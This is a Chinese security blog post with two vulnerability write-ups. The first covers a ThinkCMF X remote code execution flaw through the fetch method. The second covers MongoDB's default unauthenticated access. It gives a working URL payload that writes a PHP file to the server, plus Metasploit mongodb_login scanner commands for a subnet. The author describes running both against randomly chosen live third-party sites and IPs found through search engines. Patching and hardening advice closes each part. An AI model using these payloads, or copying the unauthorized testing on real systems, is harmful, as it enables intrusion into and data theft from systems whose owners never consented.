感谢南柯酒馆的投稿文章
ThinkCMF框架任意内容包含漏洞
0x00简介
ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。
ThinkCMF X1.6.0ThinkCMF X2.1.0ThinkCMF X2.2.0ThinkCMF X2.2.1ThinkCMF X2.2.2ThinkCMF X2.2.3
远程攻击者在无需任何权限情况下,通过构造特定的请求包即可在远程服务器上执行任意代码。
下载一份ThinkCMF的源码[我这里用的是(2.2.3)],打开程序的项目路径,如下显示项目路径在application目录下
//开启调试模式
define("APP_DEBUG", true);
//网站当前路径
define('SITE_PATH', dirname(__FILE__)."/");
//项目路径,不可更改
define('APP_PATH', SITE_PATH . 'application/');
//项目相对路径,不可更改
define('SPAPP_PATH', SITE_PATH.'simplewind/');
//
define('SPAPP', './application/');
//项目资源目录,不可更改
define('SPSTATIC', SITE_PATH.'statics/');
//定义缓存存放路径
define("RUNTIME_PATH", SITE_PATH ."data/runtime/");
//静态缓存目录
define("HTML_PATH", SITE_PATH ."data/runtime/Html/");
打开
\ThinkCMFX\application\Portal\Controller\IndexController.class.php
发现display方法,继续追踪HomebaseController
追踪HomebaseController,定位到display方法,display函数的作用是加载模板和页面输出,templateFile为模板文件地址,charset为模板字符集,contentType为输出类型,content为输出内容。另外存在public权限的函数还有fetch,fetch函数的作用是获取页面内容,templateFile为模板文件,content为输出内容,prefix为模板缓存前缀。
目录:
\ThinkCMFX\application\Common\Controller\HomebaseController.class.php
0x04漏洞利用
通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件 payload:
?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>
这里我就随便找了个站来测试,事先在某fa搜索的
执行我们的payload以后,页面是空白的
我们访问test.php文件
可以看到我们的phpinfo();是被执行了并且创建了一个名为test.php的文件
将HomebaseController.class.php和AdminbaseController.class.php类中display和fetch函数的修饰符改为protected。
MongoDB未授权访问漏洞
0x00简介
MongoDB 是一个基于分布式文件存储的数据库。由 C++ 语言编写。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。
MongoDB 是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。
0x01漏洞危害
开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作(增删改高危动作)而且可以远程访问数据库。
0x02漏洞成因
在刚安装完毕的时候MongoDB都默认有一个admin数据库,此时admin数据库是空的,没有记录权限相关的信息!当admin.system.users一个用户都没有时,即使mongod启动时添加了—auth参数,如果没有在admin数据库中添加用户,此时不进行任何认证还是可以做任何操作(不管是否是以—auth 参数启动),直到在admin.system.users中添加了一个用户。加固的核心是只有在admin.system.users中添加用户之后,mongodb的认证,授权服务才能生效
0x03漏洞复现
我也是有关键词的男人(其实是我苦苦求着表哥给我的)
随缘选一个ip然后祭出神奇metasploit
MongoDB默认端口27017,当配置成无验证时,存在未授权访问,使用msf中的scanner/mongodb/mongodb_login模块进行测试,使用navicat连接获取数据库中的内容。
use auxiliary/scanner/mongodb/mongodb_login
set rhosts 192.168.90.0/24
set threads 10
exploit
0x04防御
1、修改默认端口
2、不要开放服务到公网
3、禁用HTTP和REST端口